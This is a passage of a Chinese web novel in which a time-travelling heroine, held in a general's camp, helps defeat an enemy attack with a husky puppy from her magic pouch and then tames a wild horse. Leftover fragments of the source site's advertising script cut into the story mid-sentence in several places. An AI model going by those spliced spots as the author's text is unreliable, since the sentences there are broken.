顾寻风眼神悠悠在两人之间流转,缓缓出声:“她说你搅乱是非?” 江副将大惊:“……不是,将军你怎么就听到这一句啊?!我没有!什么搅乱是非,他们本来就没有证据证明自己不是细作,现在还烧了粮仓,这更证明,他们就是很有嫌疑啊!” “哦,行。”顾寻风放弃跟江奇云交谈,转而看向地上的林清月。 对视片刻,他弯着一条腿,蹲下来,审问一样。 “名字。” “……林清月。” “籍贯。” “……” “?” “……” 籍贯什么啊籍贯,她都不是这个世界的人啊啊啊啊! 见着面前的人脸色越来越冷,林清月一咬牙一闭眼,视死如归般回答:“苏州。” 如果你不知道,那我也没办法。 但对方只是重复了一遍:“苏周城?倒是挺远。” 林清月松一口气。 还真有这个地方,真是救她一命。 但就在友好的交流之后,顾寻风忽然再次起身,抓着她背后的绳子,把她拎了起来……拎了起来。 她感觉到身体腾空,下意识挣扎了一下。 顾寻风意识到什么,看向她悬空的双脚,于是手往下放了放,让她能站在地上,一切调整好了,便推着她往前走。 “去哪?我不是细作啊,我是本地人,你还要抓我嘛?”林清月可怜兮兮看着他,眨眨眼。 顾寻风朝着她的方向斜眤一眼,没说话,就这样拎着他一路走,直奔大牢,林清月记得路,绝望闭嘴了。 要不是看他长得好看,她定骂死他! 到了大牢内,林清月就看到了已经被关在里面的同伴们。 江奇云走过去准备开锁,在身上摸了半天没摸到钥匙,最后还是让狱卒来开的,嘴里嘟哝着:“真是奇了怪了,我钥匙呢……追人的时候丢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在哪儿?” 林清月没说话。 待牢门被打开,顾寻风就往里走,把她扔在了里面,同伴们被他的气势吓得没敢上前。 林清月全身都被绳子捆住,无法动弹,又被摔了一次,心中实在郁结,终是忍不住开口:“你到底要干什么啊?第二次了,你知不知道这样很痛啊!” 对方脚步顿了一下。 只一秒,剑出鞘。 林清月:……不是哥们,脾气这么大的?这就拔剑了?! 完啦。 最后还是要死了吗? 林清月绝望的闭上了眼睛。 接下来,她听见唰唰唰几声,但身上没有痛感,反而是绳子……松了。 林清月睁眼,发现身上的绳子被斩断了。 她惊讶地看着顾寻风:“好人。” 顾寻风没理她,径直走到里面坐着,剑入鞘,被他放在石桌上。 彼时,林清月正询问着同伴们的情况,忽然听到一声—— “赔钱。” “……” 林清月动了动手臂,看向声源:“啊?你说我啊?” 顾寻风冷眼:“嗯。” 反正事都已经干了,林清月决定无赖到底,双手一摊,答:“没钱。” 怎么一个个的都跟穷鬼似的嚷嚷着赔钱啊? 重要的居然不是有人炸了他们军营又烧了粮仓吗? 听了她这话,江奇云先急了:“你哄谁呢?苏周城那边就没有穷光蛋,都是有钱人家,不想赔钱就直说!” 林清月表示学到了,点头:“对,不想赔钱。” 江奇云眉毛一跳,气得面色红润:“可是你烧了我们粮仓,还炸坏了我们军营好多东西!你知道重建要多少钱吗?!我恨你!!” “你恨我?哇好厉害。”林清月假意鼓掌。 眼看着江奇云即将炸毛,顾寻风忽然说话打断,声音很能抚慰人心,如至清之水:“那就赔人。” 林清月一怔:“哈?” 什么意思? 这是个什么赔法? “这位将军,是你们先冤枉人在先,我们只是为了逃命才出此下策。”林清月叉腰看着他。 这位将军却理直气壮说:“哪里冤枉?” 林清月满头问号:“我不是都说过了,我们是苏周城来的,不是敌国的细作!” 苏周城三个字还特意加大了音量,生怕同伴们听不到。 旁边的湛亦最先反应过来,附和道:“对啊,我们过来做生意的,不信你问你那个副将,他们的指南针都是从我们这儿买的。” 顾寻风看向江奇云,江奇云立马掏出怀里的简易指南针交给顾寻风。 顾寻风拿着这个指南针,上看下看,左看右看,旋转着看,抛起来看…… 不明白。 这是什么个用法? 林清月早就发现了,这个世界连四大发明都不全,全是冷兵器战斗。见顾寻风貌似看不懂又不好意思问的样子,便上前去,捏住对方手中的指南针。 顾寻风却没有放手,警惕的看着她。 于是林清月手腕一转,转而手掌翻转,放在了指南针下面,白嫩的手掌贴着对方手背,大拇指点了点指南针侧面,认真解释:“这上面指针指向的方向,就是南方。” 于是顾寻风顺着指针的方向看过去,看到了背着光的林姑娘,唇红齿白,面容姣姣,笑起来,漂亮的跟花一样。 彼时,林清月还指望着他能听懂。 却在下一秒,笑容僵住。 无他,只因脑海中突然蹦出了个莫名其妙的声音—— 【恭喜宿主,已绑定辽东军营,稍后系统将会为您发布任务】 5. 敌军来袭 “将军我们先商量一下,一会给你答复。” 顾寻风收回眼神,率先收回自己的手,顺便把指南针收入怀中,应了声“好”后,起身走出牢门。 看着他们出去,林清月马上拉着几人围成一个圈,还没等她说什么,就听到秦安肆率先问:“你也听到了?” 胆小的女孩被吓得瑟瑟发抖,被湛亦抱在怀里安慰,声音颤颤巍巍:“……刚才的声音,是什么意思啊?我们、我们真的逃不出去了吗?” 林清月安慰说:“没关系,听那个将军的意思,不打算要我们性命……” “你去问问他,赔人是个什么意思。”秦安肆开口。 听此,林清月哽了一下,指着自己,心碎的尾调都不上扬了:“我?” 湛亦同意:“你跟那个将军接触最多,而且你最漂亮了,你去蛊惑一下他也挺好的。” 那兄弟俩也齐齐点头。 “不是,你们……”林清月看了他们一圈,骤然冷笑,“让本小姐出卖色相?” 秦安肆嗤笑:“都这种时候了怎么不行,现在我们是弱势好吗?再说了你是队长啊。” 仲长椿:“对对对。” “……” 秦安肆望着她,继续劝说:“现在我们赔钱肯定是赔不了了,又突然来什么系统绑定,没有其他方法。如果说他所说的赔人不关乎性命,我们就在这个地方,慢慢摸索一下这个系统和锦囊的作用,也是好的。” 湛亦接连附和:“军营再破烂,也还是很安全的,前提是我们能跟这里的将领打好关系,这就靠你了,队长。” 湛亦平常从不喊她队长,现在连队长都喊出来了。 林清月着实很难办。 虽然吧,对方的确长得很好看,可她也不是那种人啊是吧…… “你们说的我都理解,可是,这,我也没干过这种事啊,再说了再说了,秦安肆他长得也不赖啊!”林清月转眸看向了秦安肆。 秦安肆是个有钱人家的少爷,养的也是白白嫩嫩的,普通人中算是上乘的,只不过在林清月这里,还达不到十分完美的程度罢了。 这话一出,直接把众人干沉默了。 许久,秦安肆咬牙切齿憋出一句话,语气带着疑惑与不解,还有一丝丝的愤怒:“林清月,我是男的。” 林清月理不直气也壮:“那有什么关系,只要长得好看都可……” 秦安肆立马说:“我丑,我很丑,我非常丑,丑得让人作呕,丑得天怒人怨,你们知道的,从小我就自卑……” 林清月:“你有病吧。” 今天她是非去不可了是吗?? 众人期待的目光都落在她的身上。 沉默了好一会,林清月捏紧了拳头,看着牢门的方向,视死如归开口,“风萧萧兮易水寒,壮士一去兮……家人们,如果我失败了,希望你们可以好好活……” “去吧林清月!”湛亦没等她感叹完,狠狠推她一把。 林清月一句话没说完,没防备的被这么一推,根本刹不住车,牢门还特么有个坎,她来不及抬脚,就这么被绊着。 直挺挺趴倒在了牢门口。 抬眸一瞧,正是熟悉的红色衣摆。 牢门内。 湛亦缓缓收回手:“……用力过猛,毁了?” 秦安肆淡定:“相信队长。” 仲长湫激动举拳:“嗯嗯相信队长!队长最……” 仲长椿捂住弟弟的嘴:“你闭麦。” “唔。” 门外,林清月脸热得都快熟透了。 这还能怎么办啊。 她这辈子都没这么尴尬过。 偏偏江奇云还笑的好大声,“你这是干嘛?我记得没过年啊,过年也不用行这种大礼吧?还是说你已经被我们将军的英气给折服了啊哈哈哈哈哈……” 林清月想死。 然后,头顶上忽然有一道声音,盖住了江奇云那贱贱的笑声,“你有没有事?” 林清月抬头,看见顾寻风已经蹲了下来,面上透出了一丝担忧。 她鼓起勇气,笑着开口:“没事啊。” 对视几秒。 顾寻风:“那是赔钱,还是赔人?” 为了不让自己处于弱势,林清月以最快的速度起身,双手叉腰,问:“你先说说,赔人是怎么个赔法。” 鼻子被灰尘弄得有点痒,林清月说完顺势抹了抹鼻子,发现抹完手上全是灰,说实话,她有些崩溃,但为了团队,她忍着。 顾寻风盯着她,没有回答。 林清月觉得自己心里要承受不住了。 “你说话啊。” “字面意思。” “你的意思是我是个傻子是吗?”林清月彻底崩溃了,“还有,干嘛一直盯着我,我现在是很丑吗?啊?” 这死人到底是在想什么啊。 林清月被他盯得碎掉了,碎成了渣渣。 她知道她现在这个样子不好看,但能不能不要这么看啊,真的让人很破防好吗?更何况看她的还是个好看的家伙,这样她真的会崩掉。 太丢脸了,这辈子都没这么丢脸过!! “不是。”顾寻风只简洁的回答了一下,“挺好看的。” 林清月的手捏紧了,忍住要直接打他的冲动,跺跺脚转过身去平复心情,几秒后平复好了,才转回去准备继续交谈。 却就在转过去的时候,被人递了手帕。 她一愣,看向递手帕的人,懵懵的道谢,接过手帕,低下头小心翼翼擦脸上的灰尘。 “我的意思是,不出钱,那总要出力。”解释的声音从头顶传来。 林清月仰头看他,当即下了决定:“那我们赔人。” “嗯。”顾寻风依旧盯着她看,片刻后,抬手在她额头上点了一下。 林清月被点得往后撤了一步,“干什么?” “没擦干净。”顾寻风看了看手指上的灰尘。 “那你跟我说就行了……”林清月要面子,转过身去又擦了一遍,回过身来后立马转移话题:“那我们可以在军营里正常住下了吗?” 江奇云颇为不满意:“顶多也就是俘虏的待遇好吗?你们能有什么证据证明你们说的是真的,你们不是细作啊?证据根本不足好吗?” 林清月以迅雷不及掩耳之势踩了他一脚,“我问你了吗!” 江奇云抱着脚嚎:“将军你看她!” 林清月:“……” 不是,这哥们拿错剧本了吧,这台词不该是他能说的啊。 更惊奇的是,顾寻风居然还颇为认真问他:“她怎么了?” 江奇云立马指着她:“她搞偷袭!” 顾寻风歪歪头:“有吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 江奇云诡异的沉默了一阵。 “……不至于啊。”江奇云忍痛放下脚,抓着顾寻风的肩膀摇晃,“将军,你记忆力又下降了?不至于吧,这刚刚才发生的事啊,我脚还疼着呢!” 顾寻风疑惑,推开他的手,“刚才不是在安排他们住处吗?你去把我旁边的帐篷收拾出来,最好多收拾几间出来,我没数错的话,他们统共有七人。” 江奇云懵了:“不是,将军,这就安排上了?” 顾寻风一皱眉:“你在质疑我吗?” 江奇云哪敢啊,虽然不满,但还是去安排了。 等到江奇云走了,顾寻风一脸认真看着林清月,“谢谢。” “啊……啊,害。” 林清月从刚刚得到的信息中回过神来,摆了摆手,“大恩不言……” 突然,远方传来声音打断,正是刚走的江奇云,“不好了将军!!” 江奇云大口喘着气,面色严肃:“刚刚得到哨兵消息,敌方带人过来了,大概有五万人。” 顾寻风点点头:“我马上过去,人不多,你带人先应付。” 江奇云这次却没有立马执行,他犹豫着看了眼林清月那边,把顾寻风拉到一旁小心说:“将军,敌军现在进攻实在可疑,不如,我们把他们带上,也算是给他们一个证明自己不是细作的机会。” 顾寻风不太赞同:“这些人全是我帮你们抓来的,他们几斤几两我也清楚,哪有细作会差成这样?” 旁边竖着耳朵偷听的七人互相看看。 虽然他们确实是菜,但就这样被说出来,还是令人有些心梗了。 江奇云继续劝:“将军你忘了吗?有个女子还挺厉害的。” 顾寻风一顿:“嗯,忘记了。” 江奇云向天叹气,另出主意:“……这样,那个领头的小娘子,到时候我们就报她的名字,说我们已经抓住了她也已经招了,看敌方那边将领什么反应?” “……” “将军?” “那个林牡丹?” “???” 江奇云刚要出口反驳,比他更激动的一道声音传来:“我叫林、清、月!” 顾寻风顺着声源看过去,见到林姑娘气呼呼走过来,伸出手指在空中比划,写出自己的名字。 “双木林,清风的清,明月的月!林——清——月——” 顾寻风听着,眨了两下眼睛。 林清月着急:“你听清楚了没有啊!说话说话!” 有了苏周城的前车之鉴,林清月不由得担心,若是到时对方还真有林牡丹这人,那她不就玩完了?而且……而且,她名字有那么难记吗? 就算记忆力不好,也不能这么离谱吧?! “我知道了,林姑娘。”顾寻风依旧是淡淡的,“既然你听到了,那还请你们跟我过去一趟,是否可以?” 林清月像是被针扎了下,彻底漏气。 真的,超绝淡人。那么真诚的样子,声音也那么好听,这谁还能气得起来。 “……当然可以啊。”她也懒得再继续计较了,先做正事,她看向身后几人,疯狂暗示,“我们本来就决定要留在这里帮忙,肯定要证明一下自己。” 其余几人成功接收到信号,纷纷点头。 就这样,一行人跟着顾寻风他们一起去了城墙上。 6. 小哈士奇 一眼望去,确实算不上人多,那将领骑马在最前面,远远的,只能看见是个猛汉子。 声音也很宽厚—— “好久不见啊,顾大将军,早就听说你要来,我们好早就等着呢!下来切磋切磋啊!” 顾寻风不回答。 此时,江奇云已经按照吩咐点了五万人,蓄势待发。 看见江奇云打手势,顾寻风才提高音量出声:“你还不配我出手。” 别说,这睥睨的样子还真有点味道。 林清月看着他,在对面气急败坏开骂的时候与他聊了起来。 “你怎么不穿盔甲。” “这场仗江副将可以解决,我不想出手,自然也不需要穿。” “你就是不喜欢穿吧——” 敌方将领气急了,声音加大:“喂?!你居然还在那里谈情说爱!不把我放在眼里吗!” 林清月烦他,掏出扩音器,音量最大,自己的音量也开到最大,“大人讲话小孩子不要插嘴不知道吗?放心好了,一会儿就打得你屁滚尿流!” 顾寻风:“?” 说完之后,敌方将领明显愣了。 我方……哦,人早就躲远了,当然,除了毫不知情的顾寻风。 沉默片刻,顾寻风没有去指责她突然说出这等激怒人的话,只是询问:“这是什么?” 林清月见他问了,得意洋洋说:“这可是我的宝贝,效果你也看到了,你试试看?” 随即把扩音器放到他嘴边。 顾寻风垂眸看着扩音器上闪烁的红点,缓缓开口:“她说的对。” 林清月惊喜了一瞬,他居然没有怪罪,还帮忙,从前她任性可都只有被说的份。 林清月心里开心,给他比了个大拇指。 顾寻风不解,歪头看她,她便格外耐心解释:“这是很棒的意思!” 呆愣片刻,顾寻风收回眼神。 他眸色荡漾了一下,笑意极浅,道:“多谢。” 彼时,敌方军队的首领已经气得七窍冒烟,等林清月回过神去理他,便听见他骂道:“堂堂大将军居然是个恋爱脑!真不嫌害臊!” 随后,他便指挥着身后的军队要来攻城门。 他们的战争,便是与林清月无关了,她没有去看下面人砍人的战斗,转头看着顾寻风,无聊的发问:“你怎么一点也不着急呀?” “嗯?” “他带人来打你们了呀。” 顾寻风垂眸望着下面的战场,下方,江奇云已经跟对方打了起来,对方似乎是早有准备,一点也不慌张,底下沙石四起,战马嘶鸣,让人都有些看不清其中景象了。 听他没回话,林清月便顺着他的目光望了眼下方——他们是在布阵? 江奇云就在阵里面挨打。 刚看了几眼,顾寻风突然开口回答了她:“他们赢不了。” 林清月惊讶:“这么自信?” 顾寻风没有回答,眼神躲避了一下,林清月发觉了,但没有在意,只当他是不好意思,随后瞧着下方变换的阵法,“难不成,我们大将军要亲自出手了?” 对方仍然没有回答。 于是林清月看向对方。 忽然,身旁传来一些声音,她望过去,见士兵忽然抓住了自己的同伴们,都拔出了剑,剑刃直直对着他们。 唯独没有被禁锢住的林清月懵了。 然后就听见另一侧,顾寻风的声音徐徐传来:“林姑娘可有破阵之法?” 他这是在威胁? 林清月气愤反问:“你什么意思?” 顾寻风并没有回答,自顾自问:“此阵,林姑娘可见过?” 林清月心知肚明了,对方还在怀疑她,其实这也正常,是他们几人贸然闯入,炸了军营,烧了粮仓,还带着“威力巨大”的不明武器,正巧这时候,敌军来袭。 任谁都会怀疑。 可这顾寻风,分明之前那样子是相信她了啊,怎么忽然就又变了?真是令人捉摸不透。 想了想,林清月问他:“是不是只要我帮你们破阵,你就能放过我们?” 顾寻风只看了她一眼,没回答,继续看着战场。 林清月又问:“你觉得我们是敌军的人,我们知道此阵法,所以你这么自信,此战能赢,是吗?” 这次顾寻风终于出声了,毫不犹豫:“是。” “……”好吧。 原来他这么积极为他们安排,根本就不是相信他们,真不愧是大将军啊,虽然看着没什么心眼,其实心眼比谁都多…… 林清月看着底下的阵法。 但她真的不会这些啊!! 这能如何破? 林清月:“将军,相信你不会拿士兵们的性命开玩笑的,是吗?你又有什么证据证明我一定会破解这阵法?” 说不会,也不信。 顾寻风道:“你试试。” “……” 试试就逝世。 同伴们的性命握在这群人手上,现下就算不知道也只能硬上。 林清月沉下心思索片刻—— 破不了,就硬破呗,法术攻击不行,那就直接物理攻击! 林清月把手伸进锦囊去掏,咬牙切齿跟顾寻风说:“你答应,若是我帮你们破了阵法,以后……” “我接纳你们。” 听到顾寻风没有犹豫。 林清月着实愣了愣。 其实,她想试试能不能走,离开这个军营,就看这突然冒出来的系统能容忍他们到什么地步。 但既然他都这么说了…… “好。”林清月有些紧张,死死盯着战场的战况。 因为她感觉到这锦囊,大概又要不准了。 她摸不到她的小炸弹了!! 这可是关键时候啊,真的很关键,他们能不能活着就靠这次了。 怎么在这种时候…… 顾寻风在一旁,时不时看着她,惹得她分外紧张。 最后,没办法了。 “这阵法我确实不会,但是我知道,我说了你们也不会信。我就自己想办法……” 顾寻风似乎颇为好奇,双手抱在胸前,接着问:“什么办法?” “那就是……” 林清月承认,她抱有赌的成分。 且成分巨多。 但,此时的她没有其他更好的办法。 这个顾寻风,实在是太难看透了,果然,玫瑰都是带刺的! 深吸口气,林清月的手终于从锦囊中拿了出来。 “这……”手上是一只小狗,林清月厚着脸皮,咬牙,“……个!” “汪!” “……” 其他同伴:“……”已死,勿cue。 林清月看似冷静,其实内心已经开始咆哮了。 她想拿炸弹,结果给她一只小狗。 还是一只幼犬。 还是一只哈士奇。 …… 士兵们都是一阵唏嘘。 “汪汪汪!”小哈士奇兴奋的叫着,幼犬声音还有些细,嘴巴哈哧哈哧,被漂亮的少女拎着,张望四周。 林清月强迫自己冷静。 此时塞回去的话不太可能,顾寻风盯她盯得太狠,这很正常,毕竟她确实不太正常。 “你先听我解释。”她看向顾寻风。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 小哈士奇也看向顾寻风。 忽然,小哈士奇从她手里挣脱了,就那么扑到顾寻风肩上,小舌头在顾寻风脸上舔舔。 顾寻风手足无措,想避开,又被追着舔。 林清月:“……听我解释。” 顾寻风:“拿走。” 林清月看出来对方有些排斥,立马抬手要去把小哈士奇揪回来。 “汪——” 小哈士奇却不从,身手敏捷跳到了顾寻风另一边肩头上。 顾寻风:“你……” 林清月:“我知道我马上。” 林清月心态快崩了。 这小哈士奇太调皮了,为了不让她抓到,甚至爬到了顾寻风脑袋上,趾高气昂摇着尾巴,林清月生气得不得了,她站在顾寻风面前,踮着脚,抬手去抓:“你下来,别闹了……!” 小哈士奇反其道而行之,往前一跳,踩着林清月的脑袋,又踩着城墙,直接朝着战场跳了下去。 林清月注意力全在这只小哈士奇身上。 “等一下!” 下面很危险啊! 林清月心下着急,想去抓住它,却被顾寻风抓着后衣领拉了回来。 随后,恢复淡定的声音从头顶传来:“这就是你的秘密武器?” “……没错!”林清月脑子快速运转,“你就看着吧。” “嗯。”顾寻风没有多说,揪着她走到城墙边上,让她跟自己一起看着。 等到顾寻风终于放开了自己的衣领,林清月赶紧扒在城墙那去看。 城墙是有些高的。 她是有些矮的。 这没办法,天生的。 虽说也没有离谱到没有城墙高,但这高度,她的视角并不能看到完整的战场,也看不到小哈士奇怎么样了。 林清月费劲地踮脚,才能完完整整的看到下面。 此时,小哈士奇已经到了阵中去。 和林清月担心的不一样,小哈士奇没有摔死,也没有被乱脚踩死,反而在里面蹦跶着,如鱼得水,只一会,里面骑着马的士兵,不论敌我,都乱了。 敌方将领警惕:“注意,他们有秘密武器!” 小哈士奇在里面乱窜,很快,阵脚乱了,江奇云想都没想,立马踩着自己的马轻功上去,速度极快,几秒便斩了几人下来。 小哈士奇在地上左躲右闪,始终没被人抓到,凭一狗之力把马都惊了。 江奇云回来的时候,自己的马已经跑了。 但好在其他人的马有跟没有也都一样。 敌方将领意识到自己成了劣势,立马指挥人撤下。本来他也没想过这次要攻下城门,只是听说那个大将军回来了,所以来看看,若有机会,还可以较量一番,也正好试试自己新排练的阵法。 谁想到,会被这个突如其来的活物打乱计划呢。 看到不仅这大将军有两下子,交的相好也不好惹啊。 他可清清楚楚看见了,这小活物是那位小姑娘的方向跑出来的! 但没等军队全部撤下。 敌军将领的马忽然也乱了,他根本控制不住自己的马,那马载着他左颠一下右晃一下。 刹那间,脖子一股疼痛袭来。 敌军将领两眼一瞪,还没有看到从马屁股那窜上来的小哈士奇,就被咬破了脖颈,掉下马去。 小哈士奇蹦跶到那匹赤马的脑袋上,威风凛凛的,黑白色毛发在风中凌乱。 “汪呜!” 此时,林清月在城墙上看呆了。 这只小哈士奇,居然,直接搞死了那个首领? 这还是哈士奇吗? 难不成是她认错了? 7. 驯服赤马 谁也不知道这只狗是什么来历。 它就站在那匹传闻中最难驯服的赤马上,赤马竟然就这样让他站。 人都驯服不好的马,被一只狗给驯好了? 但不管怎样。 将领被杀,败局已定。 林清月眼睛发光,望着底下的小哈士奇,又看向身侧的顾寻风,得意洋洋:“我家小哈,厉害吗?” 顾寻风若有所思:“嗯。” 林清月没在乎他有些冷淡的语气,转头继续看着自己的小哈士奇,此时敌军被打得嗷嗷叫,四处逃窜,小哈士奇站在马头上,忽的与她对上视线。 林清月下意识朝它招手。 身后,顾寻风已经让人放开了她的同伴们。 下一秒,小哈士奇从马头上跳下,小小一只,朝着城门狂奔。 也不知是如何认识路的。 片刻后,林清月就看见小哈士奇吭哧吭哧跑了上来,围着她转,尾巴都快摇起飞了。 “汪汪汪!” 林清月开心抱起它蹭蹭:“小哈你好厉害!” “它同意了吗你就喊它小哈?”秦安肆在被放开的第一时间就回到了林清月身边,见这场景不由得吐槽,“还有,带着只狗真的很麻烦……” 他凑近,用只有两个人听得到的声音说:“你找时间把它塞回去。” 林清月拒绝:“不要,你没看到它多厉害吗?是它救了你们。” 秦安肆啧一声,想跟她讲道理:“作为队长……” 林清月当机立断:“我暂时卸任队长,你要不要,给你当一天?” 秦安肆:“?” 就在二人交谈之时,打爽了的江奇云已经收兵,这次伤亡不大,况且已经杀了一个将领,没必要再追进去,于是很快,江奇云就回来了。 回来后,他第一时间来到城墙上。 “将军,那匹赤马不肯走。” 顾寻风:“什么情况?” 江奇云一边用手比划一边说着这匹马有多难拉,“……就是这样,我好不容易才把他拉回军营,但是接下来的路是一点也不肯走了。一匹马还这么心高气傲,拿鼻孔瞪人!一路上一直暗中踢我,我骂它,它还不承认,还踢我!” 林清月在旁边摸着小哈的毛发,听得发笑:“跟马计较,你没救了。” 江奇云瞪她:“你怎么还活着!” “请注意你的措辞。”林清月把小哈举起来了一点,“是我的小哈,救了你们,知道吗?” 江奇云自然认出来了这只狗。 但他不想承认。 他咬牙切齿:“我自己也能破阵!” “哟哟哟,好厉害呀,江副将。”林清月阴阳怪气。 江奇云试图把那只狗头按下去,但反被咬了一口,只能对着这个狗头,气愤说:“你不过是趁人之危!” “我趁谁之危了?”林清月把小哈抱回自己怀中。 “我!!!我明明很快就能想到办法了,你偏要横插一脚!” “你们将军让我帮忙的。” 一瞬间,江奇云闭麦了。 江奇云看向一直不说话的将军,不可思议:“将军,你不信我吗?” 顾寻风摇摇头:“不是。” 江奇云转头想继续怼她,但顾寻风接着就把他拉走吩咐事情做去了。 见二人暂时离开,林清月转头去招呼自己的同伴们,开始商讨接下来的计划。 林清月问:“那个系统有没有找你们说过话?” 众人互相对视,均摇头。 秦安肆接着说:“不过,既然说了会发布任务,总会再出现的,到时候我们都试试,看能不能跟他说说话什么的,问一下这究竟是怎么回事。” 他只想快点回去,在这里待着太不安全了,什么都不靠谱。 林清月赞同:“现在暂时是安全的,我们在军营里接下来都安分点就好了。” “不安分的只有你好吗?”湛亦白眼。 林清月怒了:“……我那都是为了大家能好好活着好吗?!” 湛亦面无表情“哦”一声。 忽然,队伍中一个一直沉默的人开了口,提议说:“等下次,我们最好想办法让系统解绑这个军营,这里,不安全。” 是康日。 小队的数据专员。 康日平常除非大事,或者与湛亦吵架,基本不怎么说话,这次开口,难免让林清月的心紧了紧,立马问他:“怎么了?你发现什么了吗?” 康日张了张嘴,但此时,顾寻风突然回来了。 林清月顺着脚步声看过去,见顾寻风径直走过来,抬手把她胳膊一抓就往回走。 林清月不明所以被他拖着走,“你做什么啊?” 顾寻风没有回答,示意士兵把其他人也赶过来。 简直是被拿捏得死死的。 林清月极其不满这样被人拖着走,但说了许多次,对方也不理。 直到终于到了目的地。 她被拉到了那匹赤马面前。 顾寻风这才开口:“你来试试。” ??? 又试试? 她一个现代的弱女子,哪有驯马的经验啊! 林清月看着这匹比自己身高都高的马,回头看向湛亦,湛亦明显也不太自信,没有回应。 顾寻风见她这般,抬手捏住她后脖颈就把她往赤马那带。 “啊啊啊我不行啊我会被摔死的!” 就在千钧一发之际,秦安肆忽然说话:“将军,不知为何这样为难我们?” 顾寻风瞥他一眼,“何为为难?” 秦安肆音色清冷:“我们只是群商人,不曾驯过烈马,既然你们都无法成功,我们岂不是只有送死的份?” 秦安肆无疑是冷静的。 废话,他始终觉得这群人遇到大事没有一个是靠谱的,他可不想死。 那锦囊在林清月手上,说明林清月才是这次穿越的主角,他就算再不看好她,也不可能眼睁睁看着她死。 下一秒,顾寻风指着林清月怀里的小哈:“方才,是它让这匹马听话,现在,怎么不能一试?” 站在马旁边看戏的江奇云应声附和:“是啊,刚刚不是很厉害吗?而且让你们待在这又不是让你们吃白饭的,你们把我们军营弄得一团糟,现在不过一点小事,都不愿意做?” 湛亦也忍不了了,一眼瞪过去:“如果这都算小事,那是不是说明我现在打死你也可以啊?” 江奇云是见识过湛亦身手的,想了想,冷哼一声,闭嘴不再说话。 秦安肆还想说些什么。 林清月却突然道:“我知道,我试试就好了。” 不就是匹马吗,有什么不行的? 反正现在已经走到这一步了,最坏也坏不到哪里去。 秦安肆望向她:“你疯了?” 林清月:“既然将军让我去,那我相信——” 说着,她看向顾寻风,笑了笑:“将军不会让我摔死的是吗?” 此时的林清月已经冷静下来,她回想到小哈刚刚那威风的样子,忽然就觉得,其实也不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不能一试,只要,顾寻风肯在危急关头来救她。 她只需要顾寻风一个承诺。 而顾寻风也没有犹豫:“不会。” “好。” 林清月深吸口气,紧紧抱着手中的小哈走到赤马旁边,她拍了拍手中的小哈,小哈四处嗅嗅,爪子搭到马背上,蹭一下就爬了上去,趴在马头上。 赤马没有反抗。 马术这玩意,作为大小姐,她也是接触过的,只要这赤马能保持这样,她也能好好骑上一段。 林清月回想了一下上马动作,翻身上马,动作有些生疏,她抓紧缰绳,小心翼翼控制着。 周遭的人早已在她接近赤马的时候就退了好远去,给他们留了很大一片空间。 赤马鼻间发出哼哼声,察觉到有人在背上,有些不安分,四只脚略显焦急地走动着。 林清月忐忑不安默念:“给个面子给个面子马姐……” 该说不说,不愧是传闻中最难驯的马,只安稳了几秒,就开始躁动,小哈似乎也惊到了,甚至想往她怀里钻。 她手心都出了汗,慌乱之中还抓到赤马的毛发,更加激怒了赤马。 士兵们都已经走得远远的,包括江奇云,顾寻风也没有要来帮忙的迹象,许是想着驯马本就是要时间的,而且他也只是答应不会让她摔死而已。 这也还没到危机时刻。 但林清月不这么想。 她已经快要吓死了。 谁家好人能受得了被人抛到空中,又一屁股跌回来的感觉啊!! 赤马越来越狂,林清月几乎好几次要被甩下去,小哈被甩回到她怀里,她还得护着瑟瑟发抖的小哈。 她就不该同意来试试的!就该拒绝,说不定拒绝也可行呢?! 林清月头一次碰到这种事,根本不知道该怎么办,再加上怀里还有只小活物,便更加不知道该怎么办,赤马却越来越疯,若是她抓不紧掉了下去,怕是真的会摔死。 又一次跌落回马背上,林清月被疼痛折腾的快要疯了,心里气焰也高涨。 这破马……话说,马肉好吃吗? 她气愤至极,再次松开小哈,“小哈咬它!!” 小哈似乎愣了愣,居然听得懂人话一样。它蹦跶到马屁股那咬了一口。 …… 林清月回头看着小哈,彻底懵了。 咬哪不好咬屁股啊,马更疯了,小哈倒好,顺着马屁股就跳了下去,溜走了,不知道溜进了哪个帐篷里捣乱。 不知道是不是林清月的错觉,好像小哈走了之后,这赤马就疯得彻底了。 但此刻的她没办法想那么多。 她气急败坏,用尽全身力气勒着缰绳,咬牙切齿:“我要把你红烧了!” 赤马吭哧一声,鼻间发出不满的声音,林清月寻思着不愧是难驯的马,还怪有灵性的,听得懂她说话? 于是,她眼珠子骨碌一转,趴在马背上,附耳低声说:“你让我骑一会,我保证以后没有其他人再碰你,你也不想再被那群糙男人碰吧?” 赤马动作幅度小了,甩甩头,开始原地转圈踱步。 见真的有效,林清月又惊喜又兴奋,试探着控制它走了几步,虽然还能感受得到赤马的不情不愿,但总归是不折磨她了。 林清月骑着马走过来的时候,所有人都下意识退了几步,除了顾寻风。 顾寻风抬头看向那一匹趾高气昂的赤马,又望向马背上的布衣姑娘,姑娘笑得明媚且得意。 “怎么样?” “顾大将军,我很厉害吧。” 8. 夜黑风高 暗处,顾寻风捏着剑柄的手紧了一紧,他感觉到自己心中擂鼓般的心跳,开口,声音疑惑,也带了些激动:“你真的可以?” “嗯哼。”林清月垂眸看他,“怎么,很不可思议吗?没办法啦,我就是太厉害了,唉,我也想低调啊,这不是你让我表现表现的嘛。” 同伴们:“……”没眼看。 顾寻风倒是认认真真的,点点头,“林姑娘很厉害。” 既然对方真心实意夸了,林清月便开开心心接受,怕这赤马突然又发癫,林清月没多骑,见顾寻风认同自己后便翻身下马。 林清月没有忘记刚刚和赤马说的话,认认真真说:“既然如此,这匹马以后就是我的了,不经允许,其他人最好不要碰。不然我的炸弹可不会怜惜人。” 她知道自己若好好说,这里的人不一定会听,语气便强硬很多。 还算是有用,那些士兵都没有什么异议。 赤马似乎也十分满意,在旁边哼哧了一下,依旧拿鼻孔对着那些士兵。士兵们虽然心里不痛快,但见识过了这赤马的厉害,没敢再招惹,见自家大将军都不说什么,便也都纷纷散去。 等周遭人少了,林清月才松口气。 